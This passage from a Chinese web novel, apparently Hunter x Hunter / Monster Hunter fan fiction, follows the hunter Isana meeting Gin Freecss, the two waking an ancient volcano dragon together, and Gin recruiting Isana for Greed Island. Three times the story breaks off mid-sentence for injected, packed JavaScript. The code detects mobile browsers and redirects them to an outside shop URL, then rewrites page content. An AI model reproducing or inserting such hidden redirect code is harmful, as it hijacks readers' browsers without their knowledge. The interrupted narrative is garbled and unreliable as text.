甲虫像是挣扎一般扇动翅膀,在空中乱飞,划出几乎违背生物本能的杂乱弧线,粉尘不断从它身上掉下来,转瞬间又紧紧吸附,就像是拖曳着黑紫色的光,然后—— “砰!” 它一头撞在了透明的防护屏上。 然后是连绵不绝的撞击声。 甲虫不懂什么是以卵击石,它只是像发了狂一样不断撞击这块屏障,明明只是如此渺小的昆虫,却让外面的猎人都忍不住绷紧神经,只有绮多始终离得最近,仔细观察着。 咔嚓。 透明的屏障被撞出一道裂痕,虽然是坚固程度不高的材料,主要起到密封作用,但也不应该是区区小虫能影响的。 幸好,最令人担忧的事没有发生,没过几秒,甲虫最终还是精疲力尽,支离破碎,尸体落回了地面。 从昆虫开始真是个正确的决定。 绮多瞪大了眼睛,想着。 这东西把虫子的身体机能提升到了不可思议的地步,简直跟科幻片里的丧尸病毒没什么区别。 如果是从个头更大的小白鼠开始,它现在可能已经跑出来了。 “喂,绮多……” 正思考间,忽然有人喊了她的名字,语气中带着难以言喻的惊恐。 绮多转头看向他们,发现所有人都愣愣地盯着眼前的透明屏障。 于是她困惑地往后退了一步,紧接着,同样瞳孔紧缩。 “……这是!” 只见眼前屏障上,昆虫用绿色的浑浊血液涂抹出了—— 【停 止】 这样的字样。 与此同时,猎人协会内部,秘境内。 “这就是比司吉花了很大功夫,才从天空竞技场带回的样本,”尼特罗双手背在身后,看着眼前实验室的监控屏幕,“你应该知道些什么吧。” 闻言,跟他一起看着监控的矮小存在露出无比复杂的表情。 “能控制感染者的行为,令其发狂……这是天廻龙的鳞粉,狂龙病毒。” 秘境之主——艾露猫说出粉尘的名字,然后攥紧了拳头。 “算下来,我已经一千年没见过了。” “不去看看现场吗?”尼特罗问,“如果顺着天空竞技场查下去,应该能找到线索,老夫也会帮你。” 闻言,艾露猫失落地低下头。 过了一会儿,声音闷闷地传来:“不用,如果那真是老大,他肯定早就走没影了,千年前我就总是跟不上他,更别提现在,而且……” 如果那真的是老大,我真的有资格去见他吗? 明明约定好的事,什么都没做到。 这样的想法几乎让艾露喘不上气,随后,尼特罗轻轻拍了拍这个老朋友的肩膀。 然后他转向监控,按下了某个按钮。 密封箱内骤然燃起一团火焰,接触粉尘时发出砰的一声,然后狂龙病毒就跟甲虫的尸体一起被烧了个干干净净。 “怎么就烧了?”实验室内有人反应过来,对着监控不满地喊道,“我们还没记录数据!谁干的?” “是老夫。” 尼特罗轻松的声音从实验室角落的广播传来。 “刚才的东西,老夫都看到了,对这东西的研究从今天开始全部结束。” “会长!?” “放心吧,它已经不会影响人类社会了,出任何问题,都由老夫来负责。” —— ———— 随后,尼特罗离开了秘境。 他回到办公室时,发现豆面人正在对着坏掉的办公室门发愁,这扇木质的大门不知为何被整个拆了下来,丢在一旁,从断裂的方式来看,似乎是硬生生扯开的。 “发生什么了?”尼特罗问。 豆面人支支吾吾,过了一会儿才终于开口: “是比司吉女士,在跟我聊天交流情报的时候都好好的,但离开的时候,她不知道想到什么,好像突然变得很生气,就……” “哈哈。”尼特罗笑着摸了摸胡子,“毕竟发生了这种事,对老夫有怨言也是情有可原。” 但豆面人还是面色困惑。 “可就算是职责范围外,比司吉女士也不是气量狭窄的人,哪怕被委派了麻烦又危险的工作,应该都不至于这么做才对。” 比起愤怒地制造损失,更多情况下,她只会让尼特罗多给她点好处。 然而那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318155|197487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位女士刚才都气得直接显现出身高两米的本体了,经过强烈的思想斗争,才只是拆下一扇门。 有那么一瞬间,豆面人都担心她把会长办公室的墙给砸碎,然后把“心”字挂画给撕了。 “唉,说到底,她也不是在怪老夫。” 尼特罗看着那扇门,表情稍微有些无奈。 “只是因为她的徒弟——云谷那小子当时也在现场。” 看似是愤怒,其实是后怕和懊恼,如果狂龙病毒真的在城市爆发,如果自己没有从中保护好徒弟,那会发生什么。 “啊,对了,”尼特罗看向豆面人,“之前老夫放在窗边的怪力草去哪了?是死了吗?” 突然的话题转变让这个小个子愣了一下,然后回答:“没有,先前我看它状态不太好,就交给研究所照看,现在应该好一些了。” “是吗,那太好了。” 尼特罗点点头,看向窗外的城市。 虽然自己制止了对狂龙病毒的进一步研究,但想必某些嗅觉灵敏的家伙已经做出行动了。 “哎,”他感慨道,“年轻一代真是人才辈出啊。” —— 数月后。 世界的另一端,某片古老的遗迹平原。 “嗯……这样就绑好了。” 在染上秋色的大地上,伊萨纳正在往一头翼龙的爪子绑一个包裹,在打好结后,他看向这头表情空洞的生物。 “素材收集任务完成。”他想了想,拍了下它的翅膀,“你可以走了。” 于是翼龙有了行动,它就像机械制品一样蓄力、飞起、然后消失在天边,从头到尾连一声鸣叫都没有。 这还是第一次有翼龙对伊萨纳的话做出反应,但他总觉得哪里不太对劲。 “该说是物似主人形吗……” 这头翼龙在数周前于某个镇子边缘找到了他,爪上绑着伊尔迷的委托内容,而怪物猎人接下任务后,它就一直不声不响地跟在附近,哪怕是凶险的遗迹平原也毫不犹豫地跟来。 也不知道伊尔迷家里对它做了什么特殊训练,明明体力状态好得出奇,身手也远超寻常翼龙,全身上下也并无器质性损伤,但偏偏眼神就像是死了一样平静。 不过这不是他该操心的范畴了。 这样一来,帮那孩子找素材的事就算是两清。 接下来该去哪呢? 一阵风吹来,伊萨纳看向眼前,只见天色尚且明亮,平原广阔,几头精灵鹿在跳跃奔跑,还有几条狗龙聚集在不远处。 稍微有一点茫然。 两年的日子让他习惯了有同伴跟在身边的感觉,对旅行的人来说这不是什么好事,习惯会麻痹人心,让人失去随时出门远行的动力。 就像现在。 虽然很想立刻展开行动,但一想到先前和库洛洛在旅行中遇到的那些有趣的事,心里就稍微有点怀念。 “唉。” 或许是怀念那孩子召唤翼龙的技术了也说不定。 这样想着,向四周散发的鳞粉却在此时向他传回了一个生物体接近的信息。 伊萨纳转头看去,发现不远处的空地上站着一个人。 那是个绑着棕色头巾,一头黑发朝天的男人,身高比他稍微矮一些,穿着朴素的旅行装,看起来风尘仆仆。 他单手插兜,另一只手用指尖捻起一撮鳞粉,微微蹙眉看着它。 “果然,这东西可以帮助你感知周遭,是直接从生物体本身读取信息吧,用绝遮蔽气息也没用。” 男人说着,抬起视线,一双金棕色眼睛看向伊萨纳。 “你到底是怎么跟它们交流的?” 21.第二十一章 一阵秋风吹过,带起黑色斗篷的边沿。 什么交流,这个人突然在说什么呢? 伊萨纳愣了几秒,反应过来对方是在指他和狂龙病毒之间的联系。 “怎么跟它们交流……”片刻后,他思索着回答,“实在没法用语言形容,就是一种感觉而已。” 就像没法对天生目盲的人解释色彩是什么东西一样,对伊萨纳来说,鳞粉和自己之间的连接已经太过理所当然。 “那如果用人类五感之中的一个来类比,你会选择哪个?”围着头巾的男人追问。 真是奇怪的问题。 “其实哪个都不像,硬要选的话,就是味觉吧。” “我还以为你会说触觉,原来如此,也就是说它真的有捕食功能。” 男人自言自语般地说完,就吹走了指尖的鳞粉,从始至终,他都是一副眉头紧皱,似乎对什么事感到不满的表情。 “你心情不好吗?”伊萨纳问。 “是啊,因为你这人实在太不自由,我看到就会火大。” 什么? 听见这话的伊萨纳,像是感到非常惊讶般微微张开了嘴,就这样停顿片刻,才终于找回自己的声音: “你是在挑衅我?” “怎么可能,难不成这个说法你很意外?” “当然,还是第一次有人这么说我。”伊萨纳顿了一下,“一般都是相反的,像是‘随心所欲过头了’、‘指派给你的讨伐委托都快过期了怎么还不接’,之类。” 而且不管是千年前还是现在,他都过着到处游走,不在一个地方停留过久的生活。 如果这都要被冠以“不自由”的名号,未免显得太奢侈。 “不是说你跑了多少地方这种事,”男人眉头皱得更紧了,完全一副心情不爽的表情,“你一直都在束缚自己吧?” 束缚…… 原来是这样,这个男人多少知道一些关于狂龙病毒的情报。 于是伊萨纳耸了下肩膀:“我不觉得它会耽误我旅行,而且怎么也比向外散播鳞粉,然后大家一起完蛋要好,现在可没有那么多打消果实来遏制它。” “别小看现代的医疗技术,医学领域的猎人都是狠角色。” “这句话还给你,古代病毒没那么容易搞定。” “它在千年前不是也没能毁灭世界吗?” “那是因为……”伊萨纳故意拖长了尾音,然后停顿一下,做出一个意味深长的微笑,“才不告诉你。” 男人挑了下眉,露出一副“没上钩啊”的眼神,轻轻“啧”了一声。 尽管刚才的话问得有些冒犯,但这副表情却让伊萨纳觉得有些有趣。 于是他问道:“先告诉我你的名字如何?” “说得也是。” 男人干脆地点头,和略显别扭的情绪相反,他的表达相当坦诚直率,毫无抗拒。 “我的名字是金,金·富力士,是个猎人。” “原来如此,你也是现在的‘猎人’。” “不相信?” “哪有。” 眼前的男人无论是眉眼间的气质,还是浑身的气场,都和他迄今为止见过的所有念能力者截然不同。 相当纯粹。 纯粹到有些难懂的地步。 于是伊萨纳坦然道:“看一眼就知道了,你是货真价实的。” “‘货真价实’?我才要这么说,”金用抱怨一样的语气道,“我面前有个货真价实的老古董,那本童话书里写的内容居然是真的,我早些时候还跟别人说《猎人伊萨纳》的可信度不够高来着。” “确实不高,”伊萨纳说,“艾登把我的战斗都写得太夸张了,不过对生态的描述倒是基本正确。” “所以你真的是那个怪物猎人伊萨纳?” “是的。” 两人对视了一眼,然后试探消失了。 然后,在这之后的两天时间里,他们都在聊天。 都是些和现状毫无关联,也毫无益处的事,从古代文化到怪物生态,从龙人部落的习俗,古代念能力的使用方式到王国的覆灭与黑龙传说,无所不聊。 有时候由金讲述,有时候是伊萨纳说明。聊到后面,还从叙述变成了提问和思考,甚至是各种古代语的文字游戏。 广袤的遗迹平原上,两个人就像认识很多年的好友一样孜孜不倦地交谈着。 当然,他们不是朋友,仅仅是陌生人。 这点彼此都心知肚明,却聊得比朋友还畅快。 一番交流下来,伊萨纳感觉自己就像遇到了一个同样活在千年前的人,尽管对大型怪物的了解尚有不足,但金的知识量实在是丰富得不可思议,思考也很快。 金这边也是难得遇上在生物与历史知识上能跟自己聊得这么合拍,甚至能拓宽他知识面的人——尽管这人对一些现代常识反而缺乏理解。 最后,当话题偶然来世界地图上时,他们发现极北之地的某片岛屿在千年前并不存在,出现的理由不明。 于是一拍即合,干脆决定这就去探索看看。 “走慢了我可不会等你。”金说。 “那么着急做什么,不想欣赏沿途风景吗?”面对挑衅,伊萨纳依旧漫不经心地半阖着眼,但眼底却闪过一丝笑意,“而且,这话应该由我来说。” 两个擅长旅行的猎人在赶路这方面谁也不让着谁,他们先是骑着速龙穿过平原,然后跟着迁徙中的风漂龙来到极北之地的冻土,又在这将赶路工具换成了波波。 这种有着可爱名字的长毛草食兽总是被人误认成猛犸象,但其实它们没有象的长鼻,除了腿脚非常厚实,口中长着两条巨牙之外,其他地方都更像巨型牦牛。 更重要的是,波波的性格非常温顺,是少有会对伊萨纳抱有信赖的生物。 “好的猎人会被动物喜欢。”金说着,看了他一眼,“你怎么回事,一路上不管是速龙还是风漂龙,看到你就跑。” 连带着他都受到牵连,坐骑的捕获难度上升了不止一个档次。 “哈,它们只是在躲避危险而已。” “你也没向外散发杀意吧?” “我存在本身就够让它们不舒服了,”伊萨纳说着,“在成为这鳞粉的寄宿对象之前,也没这么被动物排斥。” 没有生物会喜欢跟随时能吞噬自己的东西共处,哪怕伊萨纳一般情况下都不会伤害它们。 迎着几乎让人失去视觉的暴风雪,两人乘着波波在冻土上行进,一段时间后,视野尽头出现了一个关口。 “前面是禁区。”金说,“一般不让人进。” “那我们……” 伊萨纳刚想提议从旁边绕过去,毕竟跟人起冲突很麻烦,但金却直接跳下波波,转眼间已经走上前,向关口站岗的卫兵出示了什么东西。 卫兵看到后,立刻给两人都放了行。 “你给他们看了什么?”伊萨纳问。 “猎人执照。”金答得简明扼要。 “哦,原来现在也有,”青年想起曾经集会所发的证件,“现在的协会是什么时候建立的?” “准确来说没有具体时间,是从千年前的集会所延伸而来,中途差点断代过一次,是现在的协会会长——尼特罗的一位旧友重新整合后再次建立,不过那都是会长出生前的事了。” “真了不起……” “别用那种感怀古人的语气,那个存在还活着,但是跟你不同,他貌似本来就不是人类。” 貌似? “难不成你没见过?”伊萨纳问。 “是啊,只有历代协会会长,以及少数被召见的人才能跟他见面,谁知道是个什么存在,说不定是台超级计算机或者古龙什么的。” 金不在意地说着,不过从表情的细节来看,他应该也很想知道。 存活时间长久,隐居于人类之中的智者……大概是古代龙人的某部族成员。伊萨纳这样想着,也没多问。 执照在这个时代很方便,但充其量也只是个打开便捷通道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17328036|197487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的途径,强大的念能力者如果真想去什么地方,光靠卫兵和关卡大概是拦不住的。 两人有一搭没一搭地聊着,伊萨纳本想用鳞粉探知周遭地形,直接带着金过去,但金却说比起一起行动,还是比赛有趣。 于是两人朝着不同方向开始赶路,比拼谁能更快找到真相。 而一段时间后,他们又在道路尽头相遇,也看到了相同的景象。 暴风雪停了,此处只剩下无尽的雪白。 厚重的云层间,依稀能看到阳光洒落,显得神圣又辽阔。 而在大陆的一角,突兀地起了一座高山……不,与其说是山,不如说是整个板块像在朝着边沿倾斜,以及其超乎常识的方向向上耸立,像是星球本身长出了巨角,将云层撕开一个口子。 “哈哈。” 看到这番景象的金·富力士,难得露出兴奋的眼神。 “这是一根蛇王龙的肋骨!这千年来又有一头蛇王龙去世,然后在这极北之地形成了新的岛屿,这就是这里出现的真相。” 构成大地,构成山脉、湖泊和自然万物…… 讴歌吧,讴歌生命,讴歌千古不易之帝王。 凛冽的寒风吹过,看着金的反应,伊萨纳却忍不住笑。 “你笑什么?” “没什么,突然想起以前的事,”他望着那根托起整块山脉的肋骨,用手指比划着它的形状,“以前我和艾登在狩猎时也发现过类似的情况,在了解到脚下土地的来历后,他激动得说不出话,最后憋出一句——‘这位帝王还真是死得到处都是啊’。” 闻言,金也大笑起来。 “我喜欢这小子。”他爽快地说。 笑完过后,短暂的沉默中,两人收回视线,看向脚下坚实无比的冰层深处。 “你也感觉到了?”金问。 “当然。” 可能比发现蛇王龙的遗骸还早。 伊萨纳说着跳下坐骑,然后他拍了拍波波的背,这头温顺的食草兽蹭了蹭他的肩膀,就和自己的同伴一起听话地转身离开。 这片广袤冻土下面,有什么东西在。 那是一座漆黑的山,山里不断有某种灼热的东西从冰层深处渗出来。 “这家伙还真是够大的,”金摸摸下巴,“这里被列为禁区的理由,估计也和它脱不开关系。” 佐拉·马格达拉奥斯。 ——熔山龙,背负火山前行的古龙。 它大概是在离开这片大陆之前感到疲惫,想要小憩一番,结果就慢慢被冰层封住,陷入沉眠。 然而,尽管不知道被封印了多少年,它磅礴的生命能量依旧让狂龙病毒向伊萨纳传递着无法忽视的危险讯号。 “这样下去它一定会死。”金说,“得赶快叫醒它。” “……按照这个能量程度来看,起码得等你的孙辈去世它才会死,你真是好心。” 伊萨纳说着,不过他也正有此意,不等金把话说完,手中就出现一把散发着爆热气息的爆鳞龙巨锤。 “但愿它没有起床气。” “等一下。”金突然叫住他,“不用武器,就当活动一下身手如何?” “嗯?” 伊萨纳困惑地看过去,却发现对方正用一副跃跃欲试的表情盯着自己。 原来如此,这个人想跟自己打一场。 “虽然限制了你的能力,但作为交换,我也不会用我的能力,放心好了。”金说。 “一副自己肯定会赢的语气,真自信。” 这过于浅显易懂的挑衅让伊萨纳不禁微笑,但也听从提议,收回了那把锤子。 这不是对大型怪物的狩猎,所以不需要狩猎用的武器。 “你不是说我‘不自由’,让你看得很不爽吗?”他说着,身后漆黑的斗篷被风吹动,转眼间就向四周蔓延出黑紫色的鳞粉,遮天蔽日,“既然如此,会发生什么我就不管了。” “那正好。”金依旧是高抬着脑袋,颇为自信地笑,“你可千万别管。” 22.第二十二章 金·富力士这个人真的很强。 在战斗打响后,伊萨纳已经不止一次打心底地这么认为。 如果是以取对方性命为目标的战斗,自己一定可以取得胜利,但如果是堂堂正正分出胜负,情况就会陷入胶着。 而且照着这个势头下去,输赢还不一定。 金的脑子转得太快,多年与自然界奇诡之物接触的经历,早就将他的感官与直觉磨砺到了炉火纯青的地步,哪怕是面对千年前的病毒,也在战斗中逐渐摸清了规律,甚至某些时刻,在他出手前就会预判他的行动。 如果是千年前,这个男人肯定也能成为世界上绝无仅有的伟大猎人吧。 就像……指引前路的苍蓝星那样。 想到这,伊萨纳将分散出去的鳞粉化成几圈,围在金的周遭。 “怎么了?”见他动作稍微有了停顿的迹象,金皱着眉问,“狂龙病毒除了让你感知周围之外就没别的用途了吗?” “三。” “啊?” “二。” 嘁,来这套啊。 金的直觉让他瞬间与地上的狂龙病毒拉开距离,而就在下一秒—— “一。” 轻松的话音落下,足以撼动天地的爆炸声顿时在冰层上响起,冲击力强得连不远处的大海也被掀起风浪。 只见一团团落在地上的鳞粉接连发生爆炸,黑紫色的光柱冲向天际,像是只有在梦里才能见到的场面。 “你疯了吗!!”头发被爆炸弄得更乱的金忍不住大喊,“这玩意不是你的一部分吗?就这么炸了?” “用不完的,放心。”伊萨纳说。 他早就想试试这招了,一直缺个地方进行练习。 于是战斗继续。 和金一样,伊萨纳的战斗经验同样累积到了一个不可思议的地步,他很快弄清楚了金的作战方式,就像金了解他一样。 到了这个地步,比起打架,更像是摸透了彼此的想法。 甚至偶尔会有种在照镜子的错觉。 “对了,”金忽然问了一句,“来看看我制作的游戏吧。” “那是什么?” “我买下了一座岛屿,打算在上面建立一个只有念能力者能参与的游戏,名字叫贪婪之岛。” “听上去很有趣,”伊萨纳说着,挡下几道攻击,“等你做好了,请让我也去玩玩。” “啧,我没让你来玩!我是在邀请你加入制作。” “制作?”青年歪了下头,似乎在回忆,“我知道的游戏,只有在格子上画叉和圆圈的那种,还有比赛哪条速龙跑得更快的那种……” 金忍不住皱眉:“千年前的娱乐到底有多贫瘠。” “哈哈,也可能只是我不太关注。” “不会让你直接设计游戏的,技术上的部分我都找到了相应人才,我邀请你这个怪物猎人的理由当然不会那么简单。” “啊。” 听到“怪物猎人”这个词,伊萨纳的动作忽然停了下来,他看着金的拳头停在面前极近的距离,拳风掀起他额前的头发,但眼神不为所动。 “也就是说你要委托我?” 金也收回架势:“是的,第一个理由,就是委托你帮助岛屿调查一件事。” “那第二个理由是什么?” “你的名字,用现代的某种语言拼写,就是Izana对吧?” 伊萨纳不明白他的意思:“大概是。” “我打算请来名字首字母能组成Greed Island的同伴,现在‘i’的位置刚好缺一个人……或者说半个,啧,反正就是缺人了。” “……” 这个人在说什么? 这几天来,好像已经不止一次产生这样的想法了。 但伊萨纳看向金的眼睛,发现对方这话说得十分认真。 这种时候去质疑是不是不太好?本来以为挺合拍的,但果然还是有代沟吗? “那个,嗯……这难道是某种现代人才懂的冷笑话?”伊萨纳问。 “你在胡思乱想什么呢。”金嘴角向下道,“这是重中之重的主要理由。而且,如果能让对现代娱乐毫无概念,也毫无兴趣的你都觉得有趣,那我们的游戏不就是更强了吗。” 看样子,他对这个游戏真的很看重。 一想到这是能让这样的猎人怀抱如此热情的事,伊萨纳也开始感到好奇。 但是,在那之前—— “你真的想好了吗?”青年指了指自己,“我是会散播病毒的怪物,不是感染了狂龙病毒的猎人,而是有一半成为天廻龙的猎人。” 变成了别的物种。 这才是他的本质。 “那种事我在刚才的战斗里已经知道得不能再知道了,你可别小看我的同伴。”金有些不耐烦地摆摆手,然后抓了抓自己乱糟糟的头发,“而且,我又不是没跟怪物交过朋友。” 闻言,伊萨纳没忍住笑出了声,而且是前所未见的,畅快的大笑。 这是因为他从这一刻开始打心底佩服起金·富力士这个人,佩服他的勇气和智识,还有那股直率到令人难以理解的冲劲。 以及—— “一般哪有说‘交朋友’这个词的,还用在怪物身上,”伊萨纳笑得弯下腰,“你很缺朋友吗?和你一起做游戏的那些人,该不会是把你赶出来了吧?” “吵死了!”这话似乎戳到逆鳞,让男人直接炸毛了,“你就人缘很好吗?那之前孤零零站在平原上的是谁啊!” 伊萨纳有些得意地摊开手:“不好意思,过去两年我都和别人在一起旅行。” “是吗?那怎么现在分开了?”金不甘示弱,“该不会是他受不了你于是抛下你走人了?” “……我听懂了,你还想再打一会?” 两人正要继续动手,就在这时,地面忽然开始震动,伊萨纳不觉抬头,发现云层比刚才更厚,明明还没到晚上,日光已经被完全遮掩住。 然而,在这阴云蔽日的时刻,整片大地却是亮的。 那是一种温暖而异常的,红色调的光。 来自冰层之下。 是涌动的岩浆。 “熔山龙醒了。” 不知是谁最先说了这么一句,当话音落下时,堪比火山爆发的冲击力击破地脉和冰层,将地面展开一道巨大到足以吞噬一切的裂缝。 虽然早就有心理准备。 但是真正直面这一幕时,心里还是感到一阵灵魂震颤般的触动。 那是只有在面对巨大的自然,意识到自己身为生物的渺小时,才会产生的感受。 令人骇然的巨大火山拔地而起,但实际上,熔山龙只是缓缓地——抬起了头。 “——” 那叫声就像来自远古时代的轰鸣。 伊萨纳和金没有停留太久,在稍微判断情况后,就开始了对熔山龙的驱逐工作。 现在的首要事宜是让它朝着北面的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17330352|197487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大海走,远离南方的内陆。 而具体的方式,就是在它走错路的时候展开适当攻击。 如果有大桶爆弹或者击龙枪可能会好很多,但在这人迹罕至的禁区,根本不能奢求什么东西。 “你到底要走错几次啊!!” 在第三次差点被熔山龙吃进嘴里后,金恼火了。 “可能是睡蒙了。”伊萨纳说着,手里的巨锤再次开始蓄力。 “麻烦,你就不能用病毒牵着它走吗?” “……” “怎么了?” “我刚刚想到,那么做会有两种情况,”伊萨纳饶有兴趣地说,“一是狂龙病毒直接被熔山龙烧掉,这是最有可能的,二是狂龙病毒不知怎么的成功蔓延它的全身,然后幸运地将熔山龙化作一个超级炸弹。” 在这颗星球上——嘭!地炸出一个大洞。 “……行。” 金咬牙切齿地移开视线。 最后,花了三天。 第四天清晨,望着那座活火山向大海深处离开的背影,两人瘫坐在这片化作焦土的曾经的冰原,都已经几乎说不出话来。 “怪不得被留下来了。”金叹气道,“方向感真不好。” “可能它觉得就这么留在这里也不错。”伊萨纳说。 事实上,千年后的现在,包括熔山龙、豪山龙在内,大多数这个级别的巨型古龙都已经到了遥远的地方,远离人类生活的大陆。 至于去了哪里,就不得而知。 “给你。”伊萨纳将一个东西递给金。 “这是什么?” “干粮。” 于是金接过来,发现是几块肉干,塞进嘴里开始慢慢嚼。 晨曦笼罩大地,云层散去,这里只留下一个山峦移动后的大口子。 “或许就像千年前的人发现新大陆一样,它们也在去自己的新大陆。”伊萨纳有些感慨。 “……突然煽情干什么,怪恶心。” “不要说话,吃你的饭吧。” 伊萨纳看了眼金。 接下来可能还会相处一段时间,不过也行。 他心想。 作为新的艾露猫来说,无论是身高(比自己矮)还是能力(什么都会一点)都达标了。 于是—— 数日后,贪婪之岛,里美路的建设基地内。 “哟,金。” 负责岛内城市规划建设的杜恩满脸笑意,甚至装模作样地向回来的金·富力士敬了个礼,但另一只手拿着的游戏手柄却始终没放下。 “你可算回来啦?之前那个问题,想到解决办法没?” 其他人也纷纷向站在门口的金投去视线。 “啊,当然找到了。” 金抬着下巴,一边说着,一边从门口伸手把伊萨纳拉了过来,而后者正一脸茫然地看着周围的电缆和电脑机箱,还没反应过来发生了什么事。 然后他们都听见金继续道: “都看过《猎人伊萨纳》吗,就是那个传说里的主人公伊萨纳,我把他招来解决问题了,好了别傻站着,说一下自己名字然后都快去继续干活。” 伊萨纳:…… 其他人:…… 不对,等一下。 在尴尬到极点的恐怖沉默中,伊萨纳突然反应过来一件事。 难不成…… 他缓缓转头看向金。 难不成这回,我才是被当成艾露猫的那一方?